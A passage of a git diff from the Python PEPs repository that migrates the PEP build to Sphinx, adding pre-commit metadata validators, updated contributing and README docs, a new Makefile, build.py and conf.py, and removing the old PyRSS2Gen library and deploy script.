*[^!#$%&()*+,/:;<=>?@\[\\\]\^_`{|}~]+( <[\w!#$%&''*+\-/=?^_{|}~.]+(@| at )[\w\-.]+\.[A-Za-z0-9]+>)?$))' + files: '^pep-\d+\.(rst|txt)$' + types: [text] + + - id: validate-delegate + name: "'Delegate' must have format 'Name '" + language: pygrep + entry: '^(PEP|BDFL)-Delegate: (?:(?! *[^!#$%&()*+,/:;<=>?@\[\\\]\^_`{|}~]+( <[\w!#$%&''*+\-/=?^_{|}~.]+(@| at )[\w\-.]+\.[A-Za-z0-9]+>)?$))' + files: '^pep-\d+\.(rst|txt)$' + exclude: '^pep-(0451)\.(rst|txt)$' + types: [text] + + - id: validate-discussions-to + name: "'Discussions-To' must be a thread URL" + language: pygrep + entry: '^Discussions-To: (?:(?!([\w\-]+@(python\.org|googlegroups\.com))|https://((discuss\.python\.org/t/([\w\-]+/)?\d+/?)|(mail\.python\.org/pipermail/[\w\-]+/\d{4}-[A-Za-z]+/[A-Za-z0-9]+\.html)|(mail\.python\.org/archives/list/[\w\-]+@python\.org/thread/[A-Za-z0-9]+/?))$))' + files: '^pep-\d+\.(rst|txt)$' + types: [text] + + - id: validate-status + name: "'Status' must be a valid PEP status" + language: pygrep + entry: '^Status:(?:(?! +(Draft|Withdrawn|Rejected|Accepted|Final|Active|Provisional|Deferred|Superseded|April Fool!)$))' + files: '^pep-\d+\.(rst|txt)$' + types: [text] + + - id: validate-type + name: "'Type' must be a valid PEP type" + language: pygrep + entry: '^Type:(?:(?! +(Standards Track|Informational|Process)$))' + files: '^pep-\d+\.(rst|txt)$' + types: [text] + + - id: validate-topic + name: "'Topic' must be for a valid sub-index" + language: pygrep + entry: '^Topic:(?:(?! +(Packaging|Typing|Packaging, Typing)$))' + files: '^pep-\d+\.(rst|txt)$' + types: [text] + + - id: validate-content-type + name: "'Content-Type' must be 'text/x-rst'" + language: pygrep + entry: '^Content-Type:(?:(?! +text/x-rst$))' + files: '^pep-\d+\.(rst|txt)$' + types: [text] + + - id: validate-pep-references + name: "`Requires`/`Replaces`/`Superseded-By` must be 'NNN' PEP IDs" + language: pygrep + entry: '^(Requires|Replaces|Superseded-By):(?:(?! *( (0|[1-9][0-9]{0,3})(,|$))+$))' + files: '^pep-\d+\.(rst|txt)$' + types: [text] + + - id: validate-created + name: "'Created' must be a 'DD-mmm-YYYY' date" + language: pygrep + entry: '^Created:(?:(?! +([0-2][0-9]|(3[01]))-(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)-(199[0-9]|20[0-9][0-9])$))' + files: '^pep-\d+\.(rst|txt)$' + types: [text] + + - id: validate-python-version + name: "'Python-Version' must be a 'X.Y[.Z]` version" + language: pygrep + entry: '^Python-Version:(?:(?! *( [1-9]\.([0-9][0-9]?|x)(\.[1-9][0-9]?)?(,|$))+$))' + files: '^pep-\d+\.(rst|txt)$' + types: [text] + + - id: validate-post-history + name: "'Post-History' must be '`DD-mmm-YYYY `__, ...'" + language: pygrep + entry: '(?<=\n)Post-History:(?:(?! ?\n|((( +|\n {1,14})(([0-2][0-9]|(3[01]))-(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)-(199[0-9]|20[0-9][0-9])|`([0-2][0-9]|(3[01]))-(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)-(199[0-9]|20[0-9][0-9]) `__)(,|(?=\n[^ ])))+\n(?=[A-Z\n]))))' + args: [--multiline] + files: '^pep-\d+\.(rst|txt)$' + types: [text] + + - id: validate-resolution + name: "'Resolution' must be a direct thread/message URL" + language: pygrep + entry: '(?`_ in this repo). Note that -PEP 0, the index PEP, is now automatically generated, and not committed to the repo. +To learn more about the purpose of PEPs and how to go about writing one, please +start reading at `PEP 1 `_. +Also, make sure to check the `README <./README.rst>`_ for information +on how to render the PEPs in this repository. +Thanks again for your contributions, and we look forward to reviewing them! + Before writing a new PEP ------------------------ -Has this idea been proposed on `python-ideas `_ -and received general acceptance as being an idea worth pursuing? (if not then -please start a discussion there before submitting a pull request). +Prior to submitting a pull request here with your draft PEP, see `PEP 1 +`_ +for some important steps to consider, including proposing and discussing it +first in an appropriate venue, drafting a PEP and gathering feedback, and +developing at least a prototype reference implementation of your idea. -More details about it in `PEP 1 `_. -Do you have an implementation of your idea? (this is important for when you -propose this PEP to `python-dev `_ -as code maintenance is a critical aspect of all PEP proposals prior to a -final decision; in special circumstances an implementation can be deferred) +Contributing changes to existing PEPs +------------------------------------- +In general, most non-Draft/Active PEPs are considered to be historical +documents rather than living specifications or documentation. Major changes to +their core content usually require a new PEP, while smaller modifications may +or may not be appropriate, depending on the PEP's status. See `PEP Maintenance +`_ +and `Changing Existing PEPs +`_ in PEP 1 for more. -Commit messages ---------------- +Copyediting and proofreading Draft and Active PEPs is welcome (subject to +review by the PEP author), and can be done via pull request to this repo. +Substantive content changes should first be proposed on PEP discussion threads. +We do advise against PRs that simply mass-correct minor typos on older PEPs +which don't significantly impair meaning and understanding. + +If you're still unsure, we encourage you to reach out first before opening a +PR here. For example, you could contact the PEP author(s), propose your idea in +a discussion venue appropriate to the PEP (such as `Typing-SIG +`__ for static +typing, or `Packaging Discourse `__ +for packaging), or `open an issue `__. + + +Commit messages and PR titles +----------------------------- -When committing to a PEP, please always include the PEP number in the subject -title. For example, ``PEP NNN: ``. +When adding or modifying a PEP, please include the PEP number in the commit +summary and pull request title. For example, ``PEP NNN: ``. +Likewise, prefix rendering infrastructure changes with ``Infra:``, linting +alterations with ``Lint:`` and other non-PEP meta changes, such as updates to +the Readme/Contributing Guide, issue/PR template, etc., with ``Meta:``. Sign the CLA @@ -32,16 +58,11 @@ Sign the CLA Before you hit "Create pull request", please take a moment to ensure that this project can legally accept your contribution by verifying you have signed the -PSF Contributor Agreement: +`PSF Contributor Agreement `_. - https://www.python.org/psf/contrib/contrib-form/ - -If you haven't signed the CLA before, please follow the steps outlined in the -CPython devguide to do so: - - https://devguide.python.org/pullrequest/#licensing - -Thanks again to your contribution and we look forward to looking at it! +If you haven't signed the CLA before, please follow the +`steps outlined in the CPython devguide +`_ to do so. Code of Conduct @@ -49,5 +70,82 @@ Code of Conduct All interactions for this project are covered by the `PSF Code of Conduct `_. Everyone is -expected to be open, considerate, and respectful of others no matter their +expected to be open, considerate, and respectful of others, no matter their position within the project. + + +Run pre-commit linting locally +------------------------------ + +You can run this repo's basic linting suite locally, +either on-demand, or automatically against modified files +whenever you commit your changes. + +They are also run in CI, so you don't have to run them locally, though doing +so will help you catch and potentially fix common mistakes before pushing +your changes and opening a pull request. + +This repository uses the `pre-commit `_ tool to +install, configure and update a suite of hooks that check for +common problems and issues, and fix many of them automatically. + +If your system has ``make`` installed, you can run the pre-commit checkers +on the full repo by running ``make lint``. This will +install pre-commit in the current virtual environment if it isn't already, +so make sure you've activated the environment you want it to use +before running this command. + +Otherwise, you can install pre-commit with + +.. code-block:: bash + + python -m pip install pre-commit + +(or your choice of installer), and then run the hooks on all the files +in the repo with + +.. code-block:: bash + + pre-commit run --all-files + +or only on any files that have been modified but not yet committed with + +.. code-block:: bash + + pre-commit run + +If you would like pre-commit to run automatically against any modified files +every time you commit, install the hooks with + +.. code-block:: bash + + pre-commit install + +Then, whenever you ``git commit``, pre-commit will run and report any issues +it finds or changes it makes, and abort the commit to allow you to check, +and if necessary correct them before committing again. + + +Check and fix PEP spelling +-------------------------- + +To check for common spelling mistakes in your PEP and automatically suggest +corrections, you can run the codespell tool through pre-commit as well. + +Like the linters, on a system with ``make`` available, it can be installed +(in the currently-activated environment) and run on all files in the +repository with a single command, ``make spellcheck``. + +For finer control or on other systems, after installing pre-commit as in +the previous section, you can run it against only the files +you've modified and not yet committed with + +.. code-block:: bash + + pre-commit run --hook-stage manual codespell + +or against all files with + +.. code-block:: bash + + pre-commit run --all-files --hook-stage manual codespell diff --git a/Makefile b/Makefile index 889134e6d48..616f725cc0b 100644 --- a/Makefile +++ b/Makefile @@ -1,59 +1,49 @@ -# Rules to only make the required HTML versions, not all of them, -# without the user having to keep track of which. -# -# Not really important, but convenient. - -PEP2HTML=pep2html.py +# Builds PEP files to HTML using sphinx PYTHON=python3 +VENVDIR=.venv +JOBS=8 +RENDER_COMMAND=$(VENVDIR)/bin/python3 build.py -j $(JOBS) -VENV_DIR=venv - -.SUFFIXES: .txt .html .rst - -.txt.html: - @$(PYTHON) $(PEP2HTML) $< - -.rst.html: - @$(PYTHON) $(PEP2HTML) $< - -TARGETS= $(patsubst %.rst,%.html,$(wildcard pep-????.rst)) $(patsubst %.txt,%.html,$(wildcard pep-????.txt)) pep-0000.html - -all: pep-0000.rst $(TARGETS) +render: venv + $(RENDER_COMMAND) -$(TARGETS): pep2html.py +pages: venv rss + $(RENDER_COMMAND) --build-dirs -pep-0000.rst: $(wildcard pep-????.txt) $(wildcard pep-????.rst) $(wildcard pep0/*.py) genpepindex.py - $(PYTHON) genpepindex.py . +fail-warning: venv + $(RENDER_COMMAND) --fail-on-warning -rss: - $(PYTHON) pep2rss.py . +check-links: venv + $(RENDER_COMMAND) --check-links -install: - echo "Installing is not necessary anymore. It will be done in post-commit." +rss: venv + $(VENVDIR)/bin/python3 generate_rss.py -clean: - -rm pep-0000.rst - -rm pep-0000.txt - -rm *.html +clean: clean-venv -rm -rf build -update: - git pull https://github.com/python/peps.git +clean-venv: + rm -rf $(VENVDIR) venv: - $(PYTHON) -m venv $(VENV_DIR) - ./$(VENV_DIR)/bin/python -m pip install -U docutils - -package: all rss - mkdir -p build/peps - cp pep-*.txt build/peps/ - cp pep-*.rst build/peps/ - cp *.html build/peps/ - cp *.png build/peps/ - cp *.rss build/peps/ - tar -C build -czf build/peps.tar.gz peps - -lint: - pre-commit --version > /dev/null || python3 -m pip install pre-commit - pre-commit run --all-files + @if [ -d $(VENVDIR) ] ; then \ + echo "venv already exists."; \ + echo "To recreate it, remove it first with \`make clean-venv'."; \ + else \ + $(PYTHON) -m venv $(VENVDIR); \ + $(VENVDIR)/bin/python3 -m pip install -U pip wheel; \ + $(VENVDIR)/bin/python3 -m pip install -r requirements.txt; \ + echo "The venv has been created in the $(VENVDIR) directory"; \ + fi + +lint: venv + $(VENVDIR)/bin/python3 -m pre_commit --version > /dev/null || $(VENVDIR)/bin/python3 -m pip install pre-commit + $(VENVDIR)/bin/python3 -m pre_commit run --all-files + +test: venv + $(VENVDIR)/bin/python3 -bb -X dev -W error -m pytest + +spellcheck: venv + $(VENVDIR)/bin/python3 -m pre_commit --version > /dev/null || $(VENVDIR)/bin/python3 -m pip install pre-commit + $(VENVDIR)/bin/python3 -m pre_commit run --all-files --hook-stage manual codespell diff --git a/PyRSS2Gen.py b/PyRSS2Gen.py deleted file mode 100644 index 65c1f098307..00000000000 --- a/PyRSS2Gen.py +++ /dev/null @@ -1,456 +0,0 @@ -"""PyRSS2Gen - A Python library for generating RSS 2.0 feeds.""" - -__name__ = "PyRSS2Gen" -__version__ = (1, 1, 0) -__author__ = "Andrew Dalke " - -_generator_name = __name__ + "-" + ".".join(map(str, __version__)) - -import datetime - -import sys - -if sys.version_info[0] == 3: - # Python 3 - basestring = str - from io import StringIO -else: - # Python 2 - try: - from cStringIO import StringIO - except ImportError: - # Very old (or memory constrained) systems might - # have left out the compiled C version. Fall back - # to the pure Python one. Haven't seen this sort - # of system since the early 2000s. - from StringIO import StringIO - -# Could make this the base class; will need to add 'publish' -class WriteXmlMixin: - def write_xml(self, outfile, encoding = "iso-8859-1"): - from xml.sax import saxutils - handler = saxutils.XMLGenerator(outfile, encoding) - handler.startDocument() - self.publish(handler) - handler.endDocument() - - def to_xml(self, encoding = "iso-8859-1"): - f = StringIO() - self.write_xml(f, encoding) - return f.getvalue() - - -def _element(handler, name, obj, d = {}): - if isinstance(obj, basestring) or obj is None: - # special-case handling to make the API easier - # to use for the common case. - handler.startElement(name, d) - if obj is not None: - handler.characters(obj) - handler.endElement(name) - else: - # It better know how to emit the correct XML. - obj.publish(handler) - -def _opt_element(handler, name, obj): - if obj is None: - return - _element(handler, name, obj) - - -def _format_date(dt): - """convert a datetime into an RFC 822 formatted date - - Input date must be in GMT. - """ - # Looks like: - # Sat, 07 Sep 2002 00:00:01 GMT - # Can't use strftime because that's locale dependent - # - # Isn't there a standard way to do this for Python? The - # rfc822 and email.Utils modules assume a timestamp. The - # following is based on the rfc822 module. - return "%s, %02d %s %04d %02d:%02d:%02d GMT" % ( - ["Mon", "Tue", "Wed", "Thu", "Fri", "Sat", "Sun"][dt.weekday()], - dt.day, - ["Jan", "Feb", "Mar", "Apr", "May", "Jun", - "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"][dt.month-1], - dt.year, dt.hour, dt.minute, dt.second) - - -## -# A couple simple wrapper objects for the fields which -# take a simple value other than a string. -class IntElement: - """implements the 'publish' API for integers - - Takes the tag name and the integer value to publish. - - (Could be used for anything which uses str() to be published - to text for XML.) - """ - element_attrs = {} - def __init__(self, name, val): - self.name = name - self.val = val - def publish(self, handler): - handler.startElement(self.name, self.element_attrs) - handler.characters(str(self.val)) - handler.endElement(self.name) - -class DateElement: - """implements the 'publish' API for a datetime.datetime - - Takes the tag name and the datetime to publish. - - Converts the datetime to RFC 2822 timestamp (4-digit year). - """ - def __init__(self, name, dt): - self.name = name - self.dt = dt - def publish(self, handler): - _element(handler, self.name, _format_date(self.dt)) -#### - -class Category: - """Publish a category element""" - def __init__(self, category, domain = None): - self.category = category - self.domain = domain - def publish(self, handler): - d = {} - if self.domain is not None: - d["domain"] = self.domain - _element(handler, "category", self.category, d) - -class Cloud: - """Publish a cloud""" - def __init__(self, domain, port, path, - registerProcedure, protocol): - self.domain = domain - self.port = port - self.path = path - self.registerProcedure = registerProcedure - self.protocol = protocol - def publish(self, handler): - _element(handler, "cloud", None, { - "domain": self.domain, - "port": str(self.port), - "path": self.path, - "registerProcedure": self.registerProcedure, - "protocol": self.protocol}) - -class Image: - """Publish a channel Image""" - element_attrs = {} - def __init__(self, url, title, link, - width = None, height = None, description = None): - self.url = url - self.title = title - self.link = link - self.width = width - self.height = height - self.description = description - - def publish(self, handler): - handler.startElement("image", self.element_attrs) - - _element(handler, "url", self.url) - _element(handler, "title", self.title) - _element(handler, "link", self.link) - - width = self.width - if isinstance(width, int): - width = IntElement("width", width) - _opt_element(handler, "width", width) - - height = self.height - if isinstance(height, int): - height = IntElement("height", height) - _opt_element(handler, "height", height) - - _opt_element(handler, "description", self.description) - - handler.endElement("image") - -class Guid: - """Publish a guid - - Defaults to being a permalink, which is the assumption if it's - omitted. Hence strings are always permalinks. - """ - def __init__(self, guid, isPermaLink = 1): - self.guid = guid - self.isPermaLink = isPermaLink - def publish(self, handler): - d = {} - if self.isPermaLink: - d["isPermaLink"] = "true" - else: - d["isPermaLink"] = "false" - _element(handler, "guid", self.guid, d) - -class TextInput: - """Publish a textInput - - Apparently this is rarely used. - """ - element_attrs = {} - def __init__(self, title, description, name, link): - self.title = title - self.description = description - self.name = name - self.link = link - - def publish(self, handler): - handler.startElement("textInput", self.element_attrs) - _element(handler, "title", self.title) - _element(handler, "description", self.description) - _element(handler, "name", self.name) - _element(handler, "link", self.link) - handler.endElement("textInput") - - -class Enclosure: - """Publish an enclosure""" - def __init__(self, url, length, type): - self.url = url - self.length = length - self.type = type - def publish(self, handler): - _element(handler, "enclosure", None, - {"url": self.url, - "length": str(self.length), - "type": self.type, - }) - -class Source: - """Publish the item's original source, used by aggregators""" - def __init__(self, name, url): - self.name = name - self.url = url - def publish(self, handler): - _element(handler, "source", self.name, {"url": self.url}) - -class SkipHours: - """Publish the skipHours - - This takes a list of hours, as integers. - """ - element_attrs = {} - def __init__(self, hours): - self.hours = hours - def publish(self, handler): - if self.hours: - handler.startElement("skipHours", self.element_attrs) - for hour in self.hours: - _element(handler, "hour", str(hour)) - handler.endElement("skipHours") - -class SkipDays: - """Publish the skipDays - - This takes a list of days as strings. - """ - element_attrs = {} - def __init__(self, days): - self.days = days - def publish(self, handler): - if self.days: - handler.startElement("skipDays", self.element_attrs) - for day in self.days: - _element(handler, "day", day) - handler.endElement("skipDays") - -class RSS2(WriteXmlMixin): - """The main RSS class. - - Stores the channel attributes, with the "category" elements under - ".categories" and the RSS items under ".items". - """ - - rss_attrs = {"version": "2.0"} - element_attrs = {} - def __init__(self, - title, - link, - description, - - language = None, - copyright = None, - managingEditor = None, - webMaster = None, - pubDate = None, # a datetime, *in* *GMT* - lastBuildDate = None, # a datetime - - categories = None, # list of strings or Category - generator = _generator_name, - docs = "http://blogs.law.harvard.edu/tech/rss", - cloud = None, # a Cloud - ttl = None, # integer number of minutes - - image = None, # an Image - rating = None, # a string; I don't know how it's used - textInput = None, # a TextInput - skipHours = None, # a SkipHours with a list of integers - skipDays = None, # a SkipDays with a list of strings - - items = None, # list of RSSItems - ): - self.title = title - self.link = link - self.description = description - self.language = language - self.copyright = copyright - self.managingEditor = managingEditor - - self.webMaster = webMaster - self.pubDate = pubDate - self.lastBuildDate = lastBuildDate - - if categories is None: - categories = [] - self.categories = categories - self.generator = generator - self.docs = docs - self.cloud = cloud - self.ttl = ttl - self.image = image - self.rating = rating - self.textInput = textInput - self.skipHours = skipHours - self.skipDays = skipDays - - if items is None: - items = [] - self.items = items - - def publish(self, handler): - handler.startElement("rss", self.rss_attrs) - handler.startElement("channel", self.element_attrs) - _element(handler, "title", self.title) - _element(handler, "link", self.link) - _element(handler, "description", self.description) - - self.publish_extensions(handler) - - _opt_element(handler, "language", self.language) - _opt_element(handler, "copyright", self.copyright) - _opt_element(handler, "managingEditor", self.managingEditor) - _opt_element(handler, "webMaster", self.webMaster) - - pubDate = self.pubDate - if isinstance(pubDate, datetime.datetime): - pubDate = DateElement("pubDate", pubDate) - _opt_element(handler, "pubDate", pubDate) - - lastBuildDate = self.lastBuildDate - if isinstance(lastBuildDate, datetime.datetime): - lastBuildDate = DateElement("lastBuildDate", lastBuildDate) - _opt_element(handler, "lastBuildDate", lastBuildDate) - - for category in self.categories: - if isinstance(category, basestring): - category = Category(category) - category.publish(handler) - - _opt_element(handler, "generator", self.generator) - _opt_element(handler, "docs", self.docs) - - if self.cloud is not None: - self.cloud.publish(handler) - - ttl = self.ttl - if isinstance(self.ttl, int): - ttl = IntElement("ttl", ttl) - _opt_element(handler, "ttl", ttl) - - if self.image is not None: - self.image.publish(handler) - - _opt_element(handler, "rating", self.rating) - if self.textInput is not None: - self.textInput.publish(handler) - if self.skipHours is not None: - self.skipHours.publish(handler) - if self.skipDays is not None: - self.skipDays.publish(handler) - - for item in self.items: - item.publish(handler) - - handler.endElement("channel") - handler.endElement("rss") - - def publish_extensions(self, handler): - # Derived classes can hook into this to insert - # output after the three required fields. - pass - - - -class RSSItem(WriteXmlMixin): - """Publish an RSS Item""" - element_attrs = {} - def __init__(self, - title = None, # string - link = None, # url as string - description = None, # string - author = None, # email address as string - categories = None, # list of string or Category - comments = None, # url as string - enclosure = None, # an Enclosure - guid = None, # a unique string - pubDate = None, # a datetime - source = None, # a Source - ): - - if title is None and description is None: - raise TypeError( - "must define at least one of 'title' or 'description'") - self.title = title - self.link = link - self.description = description - self.author = author - if categories is None: - categories = [] - self.categories = categories - self.comments = comments - self.enclosure = enclosure - self.guid = guid - self.pubDate = pubDate - self.source = source - # It sure does get tedious typing these names three times... - - def publish(self, handler): - handler.startElement("item", self.element_attrs) - _opt_element(handler, "title", self.title) - _opt_element(handler, "link", self.link) - self.publish_extensions(handler) - _opt_element(handler, "description", self.description) - _opt_element(handler, "author", self.author) - - for category in self.categories: - if isinstance(category, basestring): - category = Category(category) - category.publish(handler) - - _opt_element(handler, "comments", self.comments) - if self.enclosure is not None: - self.enclosure.publish(handler) - _opt_element(handler, "guid", self.guid) - - pubDate = self.pubDate - if isinstance(pubDate, datetime.datetime): - pubDate = DateElement("pubDate", pubDate) - _opt_element(handler, "pubDate", pubDate) - - if self.source is not None: - self.source.publish(handler) - - handler.endElement("item") - - def publish_extensions(self, handler): - # Derived classes can hook into this to insert - # output after the title and link elements - pass diff --git a/README.rst b/README.rst index 2f7587ec585..db00cf13017 100644 --- a/README.rst +++ b/README.rst @@ -1,14 +1,13 @@ Python Enhancement Proposals ============================ -.. image:: https://travis-ci.org/python/peps.svg?branch=master - :target: https://travis-ci.org/python/peps +.. image:: https://github.com/python/peps/actions/workflows/render.yml/badge.svg + :target: https://github.com/python/peps/actions The PEPs in this repo are published automatically on the web at -http://www.python.org/dev/peps/. To learn more about the purpose of -PEPs and how to go about writing a PEP, please start reading at PEP 1 -(``pep-0001.txt`` in this repo). Note that PEP 0, the index PEP, is -now automatically generated, and not committed to the repo. +https://peps.python.org/. To learn more about the purpose of PEPs and how to go +about writing one, please start reading at :pep:`1`. Note that the PEP Index +(:pep:`0`) is automatically generated based on the metadata headers in other PEPs. Contributing to PEPs @@ -17,56 +16,50 @@ Contributing to PEPs See the `Contributing Guidelines <./CONTRIBUTING.rst>`_. -reStructuredText for PEPs -========================= +Checking PEP formatting and rendering +===================================== -Original PEP source should be written in reStructuredText format, -which is a constrained version of plaintext, and is described in -PEP 12. Older PEPs were often written in a more mildly restricted -plaintext format, as described in PEP 9. The ``pep2html.py`` -processing and installation script knows how to produce the HTML -for either PEP format. +Please don't commit changes with reStructuredText syntax errors that cause PEP +generation to fail, or result in major rendering defects relative to what you +intend. -For processing reStructuredText format PEPs, you need the docutils -package, which is available from `PyPI `_. -If you have pip, ``pip install docutils`` should install it. +Browse the ReadTheDocs preview +------------------------------ -Generating the PEP Index -======================== +For every PR, we automatically create a preview of the rendered PEPs using +`ReadTheDocs `_. +You can find it in the merge box at the bottom of the PR page: -PEP 0 is automatically generated based on the metadata headers in other -PEPs. The script handling this is ``genpepindex.py``, with supporting -libraries in the ``pep0`` directory. +1. Click "Show all checks" to expand the checks section +2. Find the line for ``docs/readthedocs.org:pep-previews`` +3. Click on "Details" to the right -Checking PEP formatting and rendering -===================================== +Render PEPs locally +------------------- + +See the `build documentation <./docs/build.rst>`__ for full +instructions on how to render PEPs locally. +In summary, run the following in a fresh, activated virtual environment: -Do not commit changes with bad formatting. To check the formatting of -a PEP, use the Makefile. In particular, to generate HTML for PEP 999, -your source code should be in ``pep-0999.rst`` and the HTML will be -generated to ``pep-0999.html`` by the command ``make pep-0999.html``. -The default Make target generates HTML for all PEPs. +.. code-block:: bash -If you don't have Make, use the ``pep2html.py`` script directly. + # Install requirements + python -m pip install -U -r requirements.txt + # Render the PEPs + make render -Generating HTML for python.org -============================== + # Or, if you don't have 'make': + python build.py -python.org includes its own helper modules to render PEPs as HTML, with -suitable links back to the source pages in the version control repository. +The output HTML is found under the ``build`` directory. -These can be found at https://github.com/python/pythondotorg/tree/master/peps -When making changes to the PEP management process that may impact python.org's -rendering pipeline: +Check and lint PEPs +------------------- -* Clone the python.org repository from https://github.com/python/pythondotorg/ -* Get set up for local python.org development as per - https://pythondotorg.readthedocs.io/install.html#manual-setup -* Adjust ``PEP_REPO_PATH`` in ``pydotorg/settings/local.py`` to refer to your - local clone of the PEP repository -* Run ``./manage.py generate_pep_pages`` as described in - https://pythondotorg.readthedocs.io/pep_generation.html +You can check for and fix common linting and spelling issues, +either on-demand or automatically as you commit, with our pre-commit suite. +See the `Contributing Guide <./CONTRIBUTING.rst>`_ for details. diff --git a/build.py b/build.py new file mode 100755 index 00000000000..d2493cafc68 --- /dev/null +++ b/build.py @@ -0,0 +1,88 @@ +#!/usr/bin/env python3 +# This file is placed in the public domain or under the +# CC0-1.0-Universal license, whichever is more permissive. + +"""Build script for Sphinx documentation""" + +import argparse +from pathlib import Path + +from sphinx.application import Sphinx + + +def create_parser(): + parser = argparse.ArgumentParser(description="Build PEP documents") + # alternative builders: + builders = parser.add_mutually_exclusive_group() + builders.add_argument("-l", "--check-links", action="store_const", + dest="builder", const="linkcheck", + help='Check validity of links within PEP sources. ' + 'Cannot be used with "-f" or "-d".') + builders.add_argument("-f", "--build-files", action="store_const", + dest="builder", const="html", + help='Render PEPs to "pep-NNNN.html" files (default). ' + 'Cannot be used with "-d" or "-l".') + builders.add_argument("-d", "--build-dirs", action="store_const", + dest="builder", const="dirhtml", + help='Render PEPs to "index.html" files within "pep-NNNN" directories. ' + 'Cannot be used with "-f" or "-l".') + + # flags / options + parser.add_argument("-w", "--fail-on-warning", action="store_true", + help="Fail the Sphinx build on any warning.") + parser.add_argument("-n", "--nitpicky", action="store_true", + help="Run Sphinx in 'nitpicky' mode, " + "warning on every missing reference target.") + parser.add_argument("-j", "--jobs", type=int, default=1, + help="How many parallel jobs to run (if supported). " + "Integer, default 1.") + + return parser.parse_args() + + +def create_index_file(html_root: Path, builder: str) -> None: + """Copies PEP 0 to the root index.html so that /peps/ works.""" + pep_zero_file = "pep-0000.html" if builder == "html" else "pep-0000/index.html" + try: + pep_zero_text = html_root.joinpath(pep_zero_file).read_text(encoding="utf-8") + except FileNotFoundError: + return None + if builder == "dirhtml": + pep_zero_text = pep_zero_text.replace('="../', '="') # remove relative directory links + html_root.joinpath("index.html").write_text(pep_zero_text, encoding="utf-8") + + +if __name__ == "__main__": + args = create_parser() + + root_directory = Path(".").absolute() + source_directory = root_directory + build_directory = root_directory / "build" # synchronise with deploy-gh-pages.yaml -> deploy step + doctree_directory = build_directory / ".doctrees" + + # builder configuration + if args.builder is not None: + sphinx_builder = args.builder + else: + # default builder + sphinx_builder = "html" + + # other configuration + config_overrides = {} + if args.nitpicky: + config_overrides["nitpicky"] = True + + app = Sphinx( + source_directory, + confdir=source_directory, + outdir=build_directory, + doctreedir=doctree_directory, + buildername=sphinx_builder, + confoverrides=config_overrides, + warningiserror=args.fail_on_warning, + parallel=args.jobs, + tags=["internal_builder"], + ) + app.build() + + create_index_file(build_directory, sphinx_builder) diff --git a/conf.py b/conf.py new file mode 100644 index 00000000000..3d39d1182be --- /dev/null +++ b/conf.py @@ -0,0 +1,63 @@ +# This file is placed in the public domain or under the +# CC0-1.0-Universal license, whichever is more permissive. + +"""Configuration for building PEPs using Sphinx.""" + +from pathlib import Path +import sys + +sys.path.append(str(Path("pep_sphinx_extensions").absolute())) + +# Add 'include_patterns' as a config variable +from sphinx.config import Config +Config.config_values['include_patterns'] = [], 'env', [] +del Config + +# -- Project information ----------------------------------------------------- + +project = "PEPs" +master_doc = "contents" + +# -- General configuration --------------------------------------------------- + +# Add any Sphinx extension module names here, as strings. +extensions = ["pep_sphinx_extensions", "sphinx.ext.githubpages"] + +# The file extensions of source files. Sphinx uses these suffixes as sources. +source_suffix = { + ".rst": "pep", + ".txt": "pep", +} + +# List of patterns (relative to source dir) to ignore when looking for source files. +include_patterns = [ + # Required for Sphinx + "contents.rst", + # PEP files + "pep-????.rst", + "pep-????.txt", + # PEP ancillary files + "pep-????/*.rst", + # Documentation + "docs/*.rst", +] +exclude_patterns = [ + # PEP Template + "pep-0012/pep-NNNN.rst", +] + +# -- Options for HTML output ------------------------------------------------- + +# HTML output settings +html_math_renderer = "maths_to_html" # Maths rendering + +# Theme settings +html_theme_path = ["pep_sphinx_extensions"] +html_theme = "pep_theme" # The actual theme directory (child of html_theme_path) +html_use_index = False # Disable index (we use PEP 0) +html_style = "" # must be defined here or in theme.conf, but is unused +html_permalinks = False # handled in the PEPContents transform +html_baseurl = "https://peps.python.org" # to create the CNAME file +gettext_auto_build = False # speed-ups + +templates_path = ['pep_sphinx_extensions/pep_theme/templates'] # Theme template relative paths from `confdir` diff --git a/contents.rst b/contents.rst new file mode 100644 index 00000000000..3aa0d788dc4 --- /dev/null +++ b/contents.rst @@ -0,0 +1,19 @@ +.. This file is placed in the public domain or under the + CC0-1.0-Universal license, whichever is more permissive. + +Python Enhancement Proposals (PEPs) +*********************************** + +This is an internal Sphinx page; please go to the :doc:`PEP Index `. + + +.. toctree:: + :maxdepth: 3 + :titlesonly: + :hidden: + :glob: + :caption: PEP Table of Contents (needed for Sphinx): + + docs/* + pep-* + topic/* diff --git a/deploy.bash b/deploy.bash deleted file mode 100755 index c4350fa6cb8..00000000000 --- a/deploy.bash +++ /dev/null @@ -1,6 +0,0 @@ -#!/bin/bash -set -ex -make package -pip install awscli -aws s3 cp --acl public-read build/peps.tar.gz s3://pythondotorg-assets-staging/peps.tar.gz -aws s3 cp --acl public-read build/peps.tar.gz s3://pythondotorg-assets/peps.tar.gz diff --git a/docs/build.rst b/docs/build.rst new file mode 100644 index 00000000000..cb66230e27c --- /dev/null +++ b/docs/build.rst @@ -0,0 +1,121 @@ +.. + Author: Adam Turner + + +Building PEPs Locally +===================== + +Whilst editing a PEP, it is useful to review the rendered output locally. +This can also be used to check that the PEP is valid reStructuredText before +submission to the PEP editors. + +The rest of this document assumes you are working from a local clone of the +`PEPs repository `__, with +**Python 3.9 or later** installed. + + +Render PEPs locally +------------------- + +1. Create a virtual environment and install requirements: + + .. code-block:: shell + + make venv + + If you don't have access to ``make``, run: + + .. code-block:: ps1con + + PS> python -m venv .venv + PS> .\.venv\Scripts\activate + (venv) PS> python -m pip install --upgrade pip + (venv) PS> python -m pip install -r requirements.txt + +2. **(Optional)** Delete prior build files. + Generally only needed when making changes to the rendering system itself. + + .. code-block:: shell + + rm -rf build + +3. Run the build script: + + .. code-block:: shell + + make render + + If you don't have access to ``make``, run: + + .. code-block:: ps1con + + (venv) PS> python build.py + + .. note:: + + There may be a series of warnings about unreferenced citations or labels. + Whilst these are valid warnings, they do not impact the build process. + +4. Navigate to the ``build`` directory of your PEPs repo to find the HTML pages. + PEP 0 provides a formatted index, and may be a useful reference. + + +``build.py`` tools +------------------ + +Several additional tools can be run through ``build.py``, or the Makefile. + +Note that before using ``build.py`` you must activate the virtual environment +created earlier: + +.. code-block:: shell + + source .venv/bin/activate + +Or on Windows: + +.. code-block:: ps1con + + PS> 